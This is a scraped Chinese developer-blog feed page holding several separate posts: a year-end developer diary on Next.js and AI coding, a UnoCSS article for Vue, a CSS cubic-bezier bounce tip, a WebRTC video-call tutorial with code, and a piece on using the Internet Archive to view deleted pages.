  • 优势:类型安全:自动生成 TypeScript 类型 ✅ 迁移管理:声明式 schema,易于版本控制 ✅ 查询性能:生成优化的 SQL 查询 ✅ 关系处理:直观的关系查询 API ✅ 多数据库支持:支持 MySQL、PostgreSQL、SQLite 等

  • 劣势:复杂查询:某些复杂 SQL 可能需要原始查询 ❌ 生成代码体积:生成的 client 文件较大 ❌ 版本升级:大版本升级可能需要迁移


踩坑记录



主要是记录一些开发过程中踩坑 和设计问题




  • node js 项目 jean部署

  • 自定义配置/dockerfile配置 没有类似项目参考 健康检查问题 加上环境变量配置多环境 一步一步

  • next.js 中 用middleware进行接口拦截鉴权 里面有prisma path import 直接出现了Edge Runtime 异常 自定义auth 解决

  • npm build 项目 踩坑

  • 静态渲染流程 动态api 警告 强制动态渲染

  • 其他组件 document 不支持build问题

  • 保存多场景模式+构建版本管理第一版考虑的太少了,发现有问题 后面又重构了一版本

  • xxx日志目前还没有接入 要不就是日志文件 要不就是console.log 目前看日志的方式是去容器化运行日志看了 后续集群部署就比较麻烦了

  • ant design 版本降低到6.0以下 ant-design x 用不了2.0.0 的一些对话组件


Next.js实践的项目记录


苏州 trae friends线下黑客松 📒



  • 去Trae pro-Solo模式 苏州线下hackathon一趟, 基本都是一些独立开发者,一人一公司,三个小时做出一个产品用Trae-solo coder模式,不得不说trae内部集成的vercel部署很丝滑 react项目一键deploy访问 完全不用关系域名服务器, solo模式其实就是混合多种model使用进行输出 想要的效果还是得不断的调试 thiking太长,对于前后端分离项目 也能够同时关联进行思考规划。

  • 1点多到4点 coding时间 从0-1生成项目 使用trae pro solo模式 就3个小时 做不了什么大的东西 那就做个日语50音的网站呗 现场酒店的网基本用不了 我数据也很卡 用的旁边干中学老师的热点 用next.js tailwindcss ant design deepseek搭建的网页 够用了 最后vercel部署 trae自带集成 挺方便的 solo模式还是太慢了 接受不了 网站地址是 traekanastudio1ssw.vercel.app/ 功能就是假名+ai生成例句和单词 我都没有路演 最后拿优秀奖可能是我部署了吧 大部分人没部署 优秀奖就是卫衣了 蹭了一天的饭加零食 爽吃

  • http://www.xiaohongshu.com/explore/692… 小红书当时发的帖子 可以领奖品


image.png


Typescript的AI方向 langchain/langgraph支持ts



  • 最近在看的ts的ai框架 发现langchain 是支持ts的, langchain-chat 主要是使用langchain+langgraph 对ts进行实践 traechat-apps4y6.vercel.app/

  • 部署还踩坑了 MCP 在 Vercel 上不生效是因为 Vercel 是 serverless 环境,不支持运行持久的子进程。让我帮你解决这个问题:

  • 主要是对最近项目组内要用的到mcp/function call 进行实践操作 使用modelscope 上面开源的mcp进行尝试 使用vercel进行部署。

  • 最近看到小红书上面的3d 粒子 圣诞树有点火呀,自己也尝试下 效果很差 自己弄的提示词 可以去看看帖子上的提示词去试试 他们都是gemini pro 3玩的 我也去弄个gemini pro 3 账号去玩玩。

  • 还有一个3d粒子 跟着音乐动的的效果 下面的提示词可以试试


帮我构建一个极简科幻风格的 3D 音乐可视化网页。
视觉上参考 SpaceX 的冷峻美学,全黑背景,去装饰化。核心是一个由数千个悬浮粒子组成的‘生命体’,它必须能与声音建立物理连接:低音要像心脏搏动一样冲击屏幕,高音要像电流一样瞬间穿过点阵。
重点实现一种‘ACID 流体’视觉引擎:让粒子表面的颜色不再是静态的,而是像两种粘稠的荧光液体一样,在失重环境下互相吞噬、搅拌、流动,且流速由音乐能量驱动。

c88886c4c8c3a180a2dba52f17125dc1.jpg



image.png


image.png



ai方向 总结




  • a2a解决的是agent之间如何配合工作的问题 agent card定义名片 名称 版本 能力 语言 格式 task委托书 通信方式http 用户 客户端是主控 接受用户需求 制定具体任务 向服务器发出需求 任务分发 接受响应 服务器是各类部署好的agent 遵循一套结构化模式

  • mcp 解决的llm自主调用功能和工具问题

  • mcp 是解决 function call 协议的碎片化问题,多 agent 主要是为了做上下文隔离

  • 比如说手机有一个system agent 然后各个app有一个agent,用户语音输入买咖啡,然后system agent调用瑞幸agent 这样就是非侵入式 让app暴露系统a2a接口,感觉比mcp要更合理一点,不是单纯让app暴露tools,系统agent只需要做路由

  • 而且有一点我觉得挺有意思的,就是自己的agent花的token是自己的钱,如果自己的agent找别人的agent,让它执行任务啥的,花的不就是别人的钱……

  • Dify:更像宜家的模块化家具,提供可视化工作流、预置模板,甚至支持“拖拽式”编排AI能力。比如,你想做一
    个智能客服,只需在界面里连接对话模型、知识库和反馈按钮,无需写一行代码



python 和ts 在ai上面的比较




  • Python 依然是 AI 训练和科研的王者,PyTorch、TensorFlow、scikit-learn 这些生态太厚实了,训练大模型你离不开它。

  • TS 在底层 AI 能力上还没那么能打,GPU 加速、模型优化这些,暂时还得靠 Python 打底。

  • Python 搞理论和模型,TypeScript卷体验和交付


个人学习记录



主要还是前端和ai方面的知识点学习的比较多吧




Vibe Coding



  • 先叠甲, 我没有前端的开发经验,第一次写前端项目,项目里面90%的前端代码都是ai 生成的,能够让你一个不会前端的同学也快速完成mvp版本/需求任务。我虽然很推ai coding 很喜欢用, 即时反馈带来的成就感, 但是对于生成的代码是不是屎山 大概率可能是了, 因为前期 AI速度快,制造屎山的速度更快。无论架构设计多优秀,也难避免屎山代码的宿命: 需求一直在变,你的架构设计是针对老的需求,随着新的需求增加,老的架构慢慢的就无法满足了,需要重构。

  • 一起开发的前端同事都说ai生成那些样式互相影响了,样式有tailwindcss 有自定义的css 每个模块又有不同 大概率出问题 有冲突,就是💩山。

  • 最大的开发障碍就是内心的偏见 不愿意放弃现在所擅长的东西 带着这份偏见不愿意去学习



对于ai coding 的话 用过trae-pro/cursor/qoder/copilot/codex等等 最终还是cursor claude 4.5用的最舒服



image.png



  • 基本一周一个cursor pro账号 买号都花了快1k了。


image.png



You have used up your included usage and are on pay-as-you-go which is charged based on model API rates. You have spent $0.00 in on-demand usage this month.



image.png


9e0f1cde2dbc3314e44150d1e544c77a.png



  • 最后就是需要学好英语 前端的技术文档都是英文的 虽然有中文的翻译版本, 但没有自己直接去看官方的强 难免有差异, 我现在都是用插件进行web翻译去看的 很累。

  • 现在时间是凌晨 11/30/02:36 喝了两瓶酒。这个周末我要重温甜甜的恋爱 给我也来一颗药丸 给时间是时间 让过去过去, 年底想去日本跨年了


image.png
image.png


作者:毛绒玩偶
来源:juejin.cn/post/7577713754562838580
收起阅读 »

为什么越来越多 Vue 项目用起了 UnoCSS?

web
Vue 开发者可能都注意到,UnoCSS 的讨论频率越来越高。它不像 Tailwind 那样有营销声势,不像 Windi 那样起得早,却在 2024 年之后逐渐“渗透”进越来越多的 Vue 项目中。很多团队从 Tailwind、Windi CSS、SCSS 等...
继续阅读 »

Vue 开发者可能都注意到,UnoCSS 的讨论频率越来越高。它不像 Tailwind 那样有营销声势,不像 Windi 那样起得早,却在 2024 年之后逐渐“渗透”进越来越多的 Vue 项目中。很多团队从 Tailwind、Windi CSS、SCSS 等方案“迁徙”到了 UnoCSS。看似只是换了个工具,实际上却是一种更深层次的开发范式迁移。


为什么 UnoCSS 会被 Vue 项目偏爱?它到底解决了哪些问题?又会引发哪些新的思维变化?这篇文章,我们来拆开 UnoCSS 背后的真实诱因。




🎯 UnoCSS 到底是什么?一句话不够解释


如果你只把 UnoCSS 理解为“一个类 Tailwind 的原子化 CSS 工具”,那你可能漏掉了它真正颠覆的部分。


UnoCSS 是一个:



  • 即写即用的原子 CSS 引擎,没有预定义 class(tailwind.config.js?你可以不用)

  • 即时编译(on-demand generation) ,不扫描模板、不打包 CSS 文件,运行时动态生成样式表

  • 支持任意规则组合,语义可扩展,能自动拼装 hover:bg-red-500/30 md:rounded-xl 这种复杂 class

  • 插件式运行机制,样式规则 = 插件,想加功能不用改源码



简单说:UnoCSS 就像是原子 CSS 界的「Vite」,更轻,更快,更灵活。





🧩 Vue 项目迁移 UnoCSS 的几个主要诱因


1. 开箱即用,没有冗余配置


Tailwind 开发中一个不成文的痛点是配置文件维护成本:你几乎必须写一堆 tailwind.config.js 来扩展自己的颜色、字体、断点。


而 UnoCSS 有个“离谱”的特性:



你甚至可以不用写 config 文件。



举例:


<div class="text-lg font-bold text-[#3a7afe] hover:opacity-80">

颜色?随便写 HEX。你想用 shadow-[0_0_12px_rgba(0,0,0,0.2)]?它也认。基本告别 theme.extend


这对 Vue 项目尤其友好 —— 组件就是 class 的封装,不需要额外定义 token。




2. 它更像 JS,而不是传统 CSS 工具


UnoCSS 本质上是一组「语法规则 + 解析器」,所有东西都是基于插件机制动态生成的。这点非常 Vue-ish。


比如你想扩展 btn-primary


rules: [
['btn-primary', 'px-4 py-2 rounded bg-blue-500 text-white']
]

配合 Vue + Script Setup,甚至可以做到“功能指令式”的组件:


<button class="btn-primary hover:bg-blue-600">提交</button>

这是 Tailwind 无法比拟的灵活度,尤其当你想跨多个组件“语义复用”样式,而又不想搞复杂的 SCSS。




3. Vue SFC 中语法体验更佳


UnoCSS 不依赖 Preflight,不污染全局,也不会把所有 class 编译成一大坨 CSS 文件。


更关键的是,在 Vue SFC 中,它可以配合原子类的组合器变得非常语义化。


<div class="grid grid-cols-[1fr_auto] gap-4 items-center sm:(grid-cols-1 gap-2)">

括号组合、嵌套媒体查询、状态嵌套,全都写在 class 中,无需管理额外 CSS 文件,非常适合组件化开发。




4. 和 Vue 生态绑定更深


UnoCSS 的创作者之一是 Anthony Fu,也就是 VueUseVitesseVitest 的作者。



换句话说:UnoCSS 是为 Vue 项目天生设计的原子 CSS 工具,生态协同、理念统一。



你可以在 VitePress、Nuxt、Vitesse、VueUse 所有项目中一键集成 UnoCSS,毫不费力。插件如 @unocss/nuxt@unocss/vite 也都官方维护,集成体验比 Tailwind 更丝滑。




📉 传统方案的反衬:你为什么“受够了 Tailwind”



  • 写多了 text-sm text-neutral-700 font-medium leading-relaxed tracking-wide,你会厌烦堆 class

  • 为了统一样式,你又开始封装 btn、card、tag 等组件,但 Tailwind 里没法抽离 class 成变量

  • 你想写一些自由样式(如text-[rgba(0,0,0,0.75)]),却必须配置 tailwind.config.js,开发体验断层


UnoCSS 这时候就像一口“无限制自助餐”:你想吃什么,厨房就给你端上来。




🧪 真正让它爆红的项目:Nuxt 生态


Nuxt 3 和 UnoCSS 简直天作之合。


如果你用 Nuxt,安装 UnoCSS 就一行命令:


npm i -D @unocss/nuxt

甚至不需要配置,直接写:


<template>
<section class="text-center text-4xl text-gradient from-pink-500 to-yellow-500">
Hello, UnoCSS
</section>
</template>

想封装组件?直接写 variantshortcuts,体验跟设计 token 一样自然:


shortcuts: {
'btn': 'px-4 py-2 font-bold rounded',
'btn-primary': 'btn bg-blue-500 text-white hover:bg-blue-600'
}



🧠 真正带来的范式转变


UnoCSS 不只是工具上的优化,它还改变了我们使用 CSS 的方式:



  • 从维护样式表 → 动态生成样式

  • 从配置颜色 → 直接在组件中定义 token

  • 从 class 管理 → 到语义表达


传统做法是围绕“命名”,而 UnoCSS 更像是在写“表达式”。这种范式变化,决定了它会逐渐成为 Vue 项目的原子化首选。




📌 使用 UnoCSS 时的真实建议



  • 如果你的项目刚启动,用 UnoCSS 会极大加快开发速度

  • 如果你在维护大型 Vue 项目,建议先从局部引入,避免和 Tailwind 冲突

  • 如果你对设计规范要求较高,UnoCSS 支持 themerulesshortcuts 构建完全定制化体系

  • 建议启用 VSCode 插件,否则开发体验会下降




✅为什么 UnoCSS 会流行?


因为它比 Tailwind 更轻,比 Windi 更快,比 SCSS 更灵活。而且,它是为 Vue 项目量身定制的。


不再“配置样式”,而是“表达样式”;不再围着类名转,而是围着组件转。


UnoCSS 不只是一个工具,而是一种更贴近 Vue 哲学的“开发语言”。


作者:ErpanOmer
来源:juejin.cn/post/7512392168783659071
收起阅读 »

UI小姐姐要求有“Duang~Duang”的效果怎么办?

web
设计小姐姐: “搞一下这样的回弹效果,你行不行?” 我:“行!直接梭哈 50 行 keyframes + transform + 各种百分比,搞定 ” 设计小姐姐:“太硬(撇嘴),不够 Q 弹(鄙视)” 我:(裂开) 隔壁老王:这么简单你都不行,我来一行贝塞...
继续阅读 »

test.gif



设计小姐姐: “搞一下这样的回弹效果,你行不行?”

:“行!直接梭哈 50 行 keyframes + transform + 各种百分比,搞定 ”

设计小姐姐:“太硬(撇嘴),不够 Q 弹(鄙视)”

:(裂开)

隔壁老王:这么简单你都不行,我来一行贝塞尔 cubic-bezier(0.3, 1.15, 0.33, 1.57) 秒了😎

设计小姐姐:哇哦!(兴奋)好帅!(星星眼🌟)好Q弹!(一脸崇拜😍)

“???”





🧠 一、为什么一行贝塞尔就能“Duang”起来?


1️⃣ cubic-bezier 是什么?


在 CSS 动画里,我们经常写:


transition: all 0.5s ease;

但其实 easelinearease-in-out 这些都只是封装好的贝塞尔曲线。

底层原理是:


cubic-bezier(x1, y1, x2, y2)

这四个参数定义了时间函数曲线,控制动画速度的变化。



  • x:时间轴(必须在 0~1 之间)

  • y:数值轴(可以超出 0~1!)


👉 当 y 超过 1 或小于 0 时,动画值就会冲过终点再回弹

这就是“回弹感”的核心。




2️⃣ 回弹的本质:过冲 + 衰减


想象一个球掉下来:



  • 过冲:球落地时会压扁(超出终点)

  • 回弹:然后反弹回来,再逐渐稳定


在动画中,这个“过冲”就是 y>1 的部分,

而“回弹”就是曲线回到 y=1 的过程。




🧪 二、一行贝塞尔的魔法


✅ 火箭发射


export_1764044056566.gif


<div class="bounce">🚀发射!</div>

<style>
.bounce {
transition: transform 0.8s cubic-bezier(0.68, -0.55, 0.27, 1.55);
}
.bounce:hover {
transform: translateY(-500px);
}
</style>


💡 参数解析:



  • y1 = -0.55 → 先轻微反向缩小

  • y2 = 1.55 → 再冲过头 55%,最后回弹到原位


🧩 四、常用贝塞尔参数


效果描述贝塞尔参数备注
微回弹(按钮)cubic-bezier(0.34, 1.31, 0.7, 1)轻柔弹性
强回弹(卡片)cubic-bezier(0.68, -0.55, 0.27, 1.55)爆发力强
柔和出入cubic-bezier(0.4, 0, 0.2, 1.4)iOS 风
弹性放大cubic-bezier(0.175, 0.885, 0.32, 1.275)弹簧感
火箭猛冲cubic-bezier(0.68, -0.55, 0.27, 1.55)推背感



🧰 五、调试神器推荐



  • 🎨 cubic-bezier.com

    拖动手柄实时预览动画,复制参数一键搞定。

  • ⚙️ easings.net

    收录各种 easing 函数(含物理弹簧、阻尼等)。


作者:前端九哥
来源:juejin.cn/post/7576264484688379944
收起阅读 »

WebRTC 实现视频通话的前端开发步骤

web
你好,我是木亦。我不知道你是否了解过 WebRTC(Web Real - Time Communication),但不得不承认,WebRTC 凭借其无需安装插件、支持浏览器间直接通信的显著优势,已成为实现网页端视频通话的不二之选。对于前端开发者而言,深入掌握 ...
继续阅读 »

你好,我是木亦。我不知道你是否了解过 WebRTC(Web Real - Time Communication),但不得不承认,WebRTC 凭借其无需安装插件、支持浏览器间直接通信的显著优势,已成为实现网页端视频通话的不二之选。对于前端开发者而言,深入掌握 WebRTC 实现视频通话的开发流程,能够为用户打造出更加丰富多元、即时高效的互动体验。这篇文章将会向你介绍使用 WebRTC 实现视频通话的开发步骤。


一、项目初始化


在开启开发之旅前,首要任务是创建一个全新的前端项目。你可以借助常见的项目初始化工具,像create-react-app(适用于 React 项目)、vue-cli(适用于 Vue 项目),或者直接创建一个简洁的 HTML 页面。


使用 create-react-app 初始化项目


npx create-react-app webrtc-video-call
cd webrtc-video-call

使用 vue-cli 初始化项目


npm install - g @vue/cli
vue create webrtc-video-call
cd webrtc-video-call

如果选择直接创建 HTML 页面,其基本结构如下:


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF - 8">
<title>WebRTC Video Call</title>
</head>
<body>
<!-- 后续添加视频通话相关元素 -->
</body>
</html>

二、引入 WebRTC 库


WebRTC 作为现代浏览器的内置功能,无需额外引入第三方库。在编写 JavaScript 代码时,可直接调用 WebRTC 提供的 API。


检测浏览器支持


if ('RTCPeerConnection' in window && 'RTCSessionDescription' in window && 'navigator.mediaDevices' in window) {
// 浏览器支持WebRTC
console.log('WebRTC is supported');
} else {
console.log('WebRTC is not supported in this browser');
}

通过上述代码,可快速判断当前浏览器是否支持 WebRTC,确保开发工作在兼容的环境下进行。


三、获取媒体设备权限


实现视频通话的第一步,是获取用户摄像头和麦克风的使用权限。


使用 navigator.mediaDevices.getUserMedia ()


const constraints = {
video: true,
audio: true
};
navigator.mediaDevices.getUserMedia(constraints)
.then((stream) => {
// 成功获取媒体流,可用于视频显示
const videoElement = document.createElement('video');
videoElement.srcObject = stream;
videoElement.autoplay = true;
document.body.appendChild(videoElement);
})
.catch((error) => {
console.error('Error accessing media devices:', error);
});

在这段代码中,constraints对象明确指定了需要获取视频和音频权限。getUserMedia()方法返回一个 Promise,当操作成功时,会返回包含媒体流的stream对象,随后便可将其绑定到video元素上,实现本地视频的实时显示。


四、建立对等连接


WebRTC 通过 RTCPeerConnection 对象建立对等连接,实现双方媒体数据的高效传输。


创建 RTCPeerConnection 对象


// 创建RTCPeerConnection对象
const peerConnection = new RTCPeerConnection({
iceServers: [
{ urls:'stun:stun.l.google.com:19302' }
]
});

这里借助了 STUN(Session Traversal Utilities for NAT)服务器辅助建立连接,stun.l.google.com:19302是 Google 提供的公共 STUN 服务器,能有效帮助穿越网络地址转换(NAT)设备。


处理 ICE 候选


在连接建立过程中,处理 ICE(Interactive Connectivity Establishment)候选至关重要,这有助于寻找到最佳的连接路径。


peerConnection.onicecandidate = (event) => {
if (event.candidate) {
// 将ICE候选发送给对方
// 这里需要实现发送逻辑,例如通过信令服务器
console.log('ICE candidate:', event.candidate);
}
};

当有 ICE 候选生成时,需及时将其发送给对方,实际应用中通常借助信令服务器完成这一操作。


交换 SDP(Session Description Protocol)


SDP 用于详细描述媒体会话的各项参数,双方需交换 SDP 以协商媒体格式、编解码方式等关键信息。


// 创建Offer
peerConnection.createOffer()
.then((offer) => {
return peerConnection.setLocalDescription(offer);
})
.then(() => {
// 将本地的SDP发送给对方
// 这里需要实现发送逻辑,例如通过信令服务器
console.log('Local SDP:', peerConnection.localDescription);
})
.catch((error) => {
console.error('Error creating offer:', error);
});
// 接收对方的SDP并设置为远程描述
peerConnection.setRemoteDescription(new RTCSessionDescription(receivedSDP))
.then(() => {
// 接收对方的Offer后,创建Answer
return peerConnection.createAnswer();
})
.then((answer) => {
return peerConnection.setLocalDescription(answer);
})
.then(() => {
// 将本地的Answer发送给对方
// 这里需要实现发送逻辑,例如通过信令服务器
console.log('Local SDP (Answer):', peerConnection.localDescription);
})

.catch((error) => {
console.error('Error setting remote description or creating answer:', error);
});

这部分代码展示了创建 Offer、设置本地描述、发送本地 SDP,以及接收对方 SDP 并创建 Answer、设置本地描述、发送本地 Answer 的完整流程。


五、显示远程视频


当双方成功建立连接并完成 SDP 交换后,便可接收对方的媒体流,实现远程视频的显示。


监听 track 事件


peerConnection.ontrack = (event) => {
const remoteVideoElement = document.createElement('video');
remoteVideoElement.srcObject = event.streams[0];
remoteVideoElement.autoplay = true;
document.body.appendChild(remoteVideoElement);
};

一旦接收到对方的媒体流,ontrack事件就会被触发,此时将接收到的媒体流绑定到新创建的video元素上,即可实时显示远程视频画面。


六、信令服务器的作用与实现


在 WebRTC 视频通话中,信令服务器承担着交换 SDP 和 ICE 候选等关键信息的重要职责。尽管 WebRTC 实现了媒体数据的直接传输,但信令的交互仍需借助服务器来完成。


信令服务器的选择


可选用 WebSocket、Socket.IO 等技术搭建信令服务器。以 Socket.IO 为例,搭建一个简易信令服务器的步骤如下:


npm install socket.io

简单的 Socket.IO 信令服务器示例


const io = require('socket.io')(3000);
io.on('connection', (socket) => {
socket.on('offer', (offer) => {
// 这里可以实现将offer转发给目标客户端
console.log('Received offer:', offer);
});
socket.on('answer', (answer) => {
// 这里可以实现将answer转发给目标客户端
console.log('Received answer:', answer);
});
socket.on('ice - candidate', (candidate) => {
// 这里可以实现将ice - candidate转发给目标客户端
console.log('Received ice - candidate:', candidate);
});
});

在前端代码中,需引入 Socket.IO 客户端库,并精心编写与服务器的通信逻辑,实现将 SDP 和 ICE 候选发送至服务器,以及从服务器接收对方的 SDP 和 ICE 候选。


WebRTC 实现视频通话的前端开发涵盖多个关键环节,从项目初始化、获取媒体设备权限,到建立对等连接、交换 SDP 和 ICE 候选,再到显示远程视频和搭建信令服务器。通过逐步掌握这些核心步骤,前端开发者能够构建出功能完备的视频通话应用,为用户提供流畅、实时的视频通信体验。在实际开发过程中,还需依据具体需求和应用场景,对代码进行优化与扩展,以充分满足多样化的业务需求。


容器 <a href=5@2x.png" loading="lazy" src="https://www.imgeek.net/uploads/article/20260118/718ea69cb7313b0faba4510956153837.jpg"/>


作者:木亦Sam
来源:juejin.cn/post/7474124938526900262
收起阅读 »

Vue 3 + Three.js 打造轻量级 3D 图表库 —— raychart.js

web
大家好,我是 一颗烂土豆。 最近在数据可视化领域进行了一些探索,基于 Vue 3 和 Three.js 开发了一款轻量级的 3D 图表库 —— raychart.js。 今天不谈晦涩的代码实现,主要和大家分享一下这个项目的设计初衷、目前进展以及未来的规划。 ...
继续阅读 »

大家好,我是 一颗烂土豆


最近在数据可视化领域进行了一些探索,基于 Vue 3Three.js 开发了一款轻量级的 3D 图表库 —— raychart.js


今天不谈晦涩的代码实现,主要和大家分享一下这个项目的设计初衷目前进展以及未来的规划



💻 在线体验chart3js.netlify.app/



格式工厂 屏幕录像20260113_214646 00_00_00-00_00_37 00_00_00-00_00_30.gif


🌟 愿景 (Vision)


在实际开发中,我们往往面临两难的选择:要么使用传统的 2D 图表库(如 ECharts)通过“伪 3D”来实现效果,但缺乏立体感和自由视角;要么直接使用 Three.js 从零撸,成本高且难以复用。


chart3 的诞生就是为了解决这个问题,它的核心愿景是:



  1. 极简配置:延续 ECharts 的 "Option-based" 配置思维,让前端开发者无需深入了解 WebGL/Three.js 的底层细节,通过简单的 JSON 配置即可生成炫酷的 3D 图表。

  2. 真 3D 体验:全场景 3D 渲染,支持 360 度自由旋转、缩放、平移,提供真实的光影、材质和空间感。

  3. 轻量与现代:完全基于 Vue 3 Composition API 和 TypeScript 构建,模块化设计,无历史包袱。


🚀 现状 (Current Status)


目前项目处于快速迭代阶段,核心引擎已经搭建完毕,并实现了一套可视化的配置系统。你可以通过 在线 Demo 实时调整参数并预览效果。


已支持的功能特性:



  • 基础图表组件

    • 📊 3D 柱状图 (Bar3D):支持多系列、不同颜色的柱体渲染。




ScreenShot_2026-01-12_110024_828.png



  • 🥧 3D 饼图 (Pie3D):支持扇区挤出高度、标签展示。


ScreenShot_2026-01-12_110108_307.png
* 📈 3D 折线图 (Line3D):支持管状线条渲染。


ScreenShot_2026-01-12_110046_630.png
* 🌌 3D 散点图 (Scatter3D):支持三维空间的数据点分布。


ScreenShot_2026-01-12_110004_262.png



  • 可视化配置系统

    • 数据源 (Data):支持静态数据配置。

    • 主题与配色 (Theme):内置多套配色方案,支持自定义默认颜色。

    • 坐标系 (Coordinate):可实时调整网格的宽度、深度、高度,以及各轴线、刻度、网格线的显示与隐藏。

    • 材质系统 (Material):这是 3D 图表的灵魂。支持实时调节透明度、粗糙度 (Roughness)、金属度 (Metalness),轻松实现玻璃、金属等质感。

    • 灯光系统 (Lighting):支持环境光和方向光的强度与位置调节,营造氛围感。

    • 交互 (Interaction):支持鼠标悬停高亮、HTML 标签 (Label) 自动跟随。




📅 待实现的任务 (Roadmap)


为了让 chart3 真正成为生产可用的图表库,后续还有很多有趣的工作要做:



  • 高级图表开发

    • 🌊 3D 曲面图 (Surface 3D):用于展示复杂的三维函数或地形数据(目前 Demo 中显示为“待开发”)。

    • 🗺️ 3D 地图 (Map 3D):支持 GeoJSON 数据的三维挤出渲染。



  • 性能优化

    • 引入 InstancedMesh 技术,大幅提升大数据量(如 10w+ 散点或柱体)下的渲染性能。



  • 动画系统

    • 实现图表的入场动画(如柱子升起、饼图展开)。

    • 数据更新时的平滑过渡动画。



  • 工程化与文档

    • 完善 API 文档和使用指南。

    • 提供 NPM 包发布,方便项目集成。




🤝 结语


这个项目是我对“数据可视化 x 3D”的一次尝试。


让我们一起把数据变得更酷一点!


作者:一颗烂土豆
来源:juejin.cn/post/7594040270502379558
收起阅读 »

这两个网站,一个可以当时间胶囊,一个充满了赛博菩萨。

web
你好呀,我是歪歪。 前两天不是发了这篇《可怕,看到一个如此冷血的算法。》嘛。 文章中有这样的一个链接: 我当时放这个链接的目的是为了方便大家直达吃瓜现场。 但是,由于这个帖子最终被证实是假的,所以被官方给“夹”了: 幸好,原文本来就不长,所以我在我的文章中...
继续阅读 »

你好呀,我是歪歪。


前两天不是发了这篇《可怕,看到一个如此冷血的算法。》嘛。


文章中有这样的一个链接:



我当时放这个链接的目的是为了方便大家直达吃瓜现场。


但是,由于这个帖子最终被证实是假的,所以被官方给“夹”了:



幸好,原文本来就不长,所以我在我的文章中把原文全部给截下来了。


也算是以另外一种形式保留了吃瓜现场。


如果这个“爆料”的帖子再长一点,按照我的习惯,我可能就不会把整个帖子搬运过来了,只会留取我认为关键的部分。


但是这种“我认为关键的部分”是非常主观的,有的人就是想看原贴长什么样,但是原贴又被删除了,怎么办?


我教你一招,老好用了。


时间胶囊


在万能的互联网上,有这样一个仿佛是时间胶囊一般存在的神奇的网站:



archive.org/




这个网站是叫做"互联网档案馆"(Internet Archive),于 1996 年成立的非营利组织维护的网站。


自 1996 年以来,互联网档案库与世界各地的图书馆和合作伙伴合作,建立了一个人类在线历史的共享数字图书馆。


这个网站有一个非常宏大的愿景:



捕捉大小不一的网站,从突发新闻到被遗忘的个人页面,使它们能够为子孙后代保持可访问性。



所以里面收藏了的内容有免费书籍、电影、软件、音乐、网站等。


截至目前,该网站收集了这么多的数据:



其中网站的数量是最多的,有 1T,超过 1T 的时候,官方还发文庆祝了一下:



这个 1T 中的 T 指的是什么呢?


Trillion。


一个非常小众的词汇啊,歪师傅也不认识,所以我去查了一下:



这个图片上一眼望去全是 0。



1 Trillion 就是 1,000,000,000,000



反正是数不过来了。


感觉成都都没有这么多 0。


这个网站怎么用呢?


很简单。


拿前面 reddit 中被“夹”了的帖子举例。


我不是给了吃瓜现场的链接嘛。


你把链接往“时光机”的这个地方一粘:



你就会看到这个有一个时间轴的页面:



把鼠标浮到有颜色的日期上,就能看到各个时间点的页面快照了。


颜色越深代表那一天的快照越多:



比如,我们看一下这个网站收集到的第一个快照:



点进去,就是我们要找的吃瓜现场。


发帖后的两小时就被收集到了,速度还是挺快的。


从数据上看,这个时候已经有 3.7k 个点赞和 255 个评论,已经有要起飞的预兆了。


换个时间的快照,还可以看到点赞和评论的数据变化,比如发帖一天后:



点赞量已经是 71k,评论数来到了 3.8K,直接就是一个起飞的大动作。


这里只是用这个帖子举个例子。


再举一个例子。


也是我的真实使用场景。


有一次我在研究平滑加权轮询负载均衡策略算法为什么是平滑的。


和各类 AI 讨论了半天,它们也给出了各种参考文献。


我在其中一个参考文献中看到了这样一个链接:



tenfy.cn/2018/11/12/…



我知道这个链接的内容就是我要找的内容,但是这个链接跳转过去已经是 404 了:



于是,时间胶囊就派上用场了。


我直接把这个链接扔它:



找到了这个网页在 2019 年 12 月 10 日的快照:



通过这种方式就找到了原本已经被 404 的网页内容。


在看一些时间比较久远的文章的时候,参考链接打不开的情况,还是比较常见的。


所以这个方式是我最常用的一个场景。


此外,还有另外一个场景,就是偶尔去怀旧一下。


比如,中文互联网的一滴眼泪:天涯论坛。



这是 20 年前,2006 年 1 月的天涯论坛首页,一股浓烈的早期互联网风格:



在图片的右下角你还能看到“2006 天涯春晚”的字样。


另外,你不要觉得这只是一个静态页面。


里面的部分链接还是可以正常跳转的。


比如,这个链接:



点进去,你可以看到最最古早的一种直播形式:文字直播。



2006 年 1 月 2 日,《武林外传》开播。


天涯这个文字直播的时间是 2006 年 1 月 19 日,《武林外传》当时正在全国热播。


天涯网友在这个页面下提出自己关于《武林外传》的问题,作为天涯的知名写手,宁财神本人会选择部分问题进行回复。


我截取了几个我觉得有意思的回复:



这种行为这算不算是官方剧透了?



当年祝无双这个角色是真的不让人讨喜啊。幸好当时的网络还不发达,不然我觉得真有可能“网爆祝无双”。



DVD,一个多么具有年代感的词。




写文章的时候,我本来是想截几张图就走的,最多五分钟搞定。


结果我竟然一页页的翻完了这个帖子,看完之后才发现在这个帖子里面待了半个多小时。


时间过的还是很快的。


站在 2026 年,看 2006 的帖子,中间有 20 年的光阴。


但是就像是 2006 年佟掌柜对要给她干二十年工才能还清债务的小郭说的那样:不要怕,二十年快得很,弹指一挥间。



前几天小郭在微博上还回应了正式赎身这个梗。


去了六里桥、去了同福夹道、去了左家庄站、还去了祥蚨瑞,最后在人来人往的北京街头,一个猝不及防的回眸:



这是我的童年回头看了我一眼。


十几岁的不了解佟掌柜的这句话,三十出头了,一下就理解了:20 年,真的很快呀。


看到 2006 年的天涯的时候,我依稀想起了一些当年的往事。


那个时候我才 12 岁,看电视剧是真的在电视机上看,我还记得家里的电视机都是这样的“大屁股”电视机:



还记得《武林外传》每集开始,唱主题曲的时候,电视上面会显示一个电脑的桌面:



所以每次开头的时候,我就会叫表妹过来,对她说:你看,我等下把电视变成电脑。


那个时候表妹才 7 岁,我这个 12 岁的哥哥当然是把她唬的一愣一愣的。


那个时候电脑也还是一个稀奇的物品,虽然是乡下的学校,但是也还是有一个微机室,去微机室上课必须要带鞋套的那种。


所以 2006 年的天涯,我肯定是没有看过的,但是在 2026 年看到 2006 的天涯,我还是想起了很多童年往事。


对了,前几天才给表妹过完 27 岁的生日:



看着这张照片,再想起 7 岁时那个相信哥哥可以把电视变成电脑给她看《武林外传》的妹妹。


“二十年快得很,弹指一挥间”。


你说这不叫时间胶囊,叫什么?


再看一下 10 年前,2016 年 1 月 1 日的天涯,彼时的天涯可以说是如日中天,非常多的网友天天泡在论坛里面,谈古论今,激扬文字。


这是那天的天涯首页截图:



热帖榜第一的是一个关于纯电动汽车的帖子,我进去看了一下:



